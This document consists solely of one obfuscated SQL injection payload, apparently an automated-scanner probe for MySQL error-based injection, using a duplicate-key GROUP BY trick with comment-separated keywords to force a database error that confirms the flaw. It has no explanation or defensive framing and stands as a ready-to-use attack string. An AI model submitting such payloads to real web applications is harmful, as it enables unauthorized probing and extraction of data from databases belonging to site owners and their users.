1′) AND ,(SELECT/**/4514/**/FROM/**/(SELECT/**/ROW(4514,8842)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(4514=4514,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7937/**/UNION/**/SELECT/**/1866/**/UNION/**/SELECT/**/10101/**/UNION/**/SELECT/**/7738)a/**/GROUP/**/BY/**/x))s)– – 1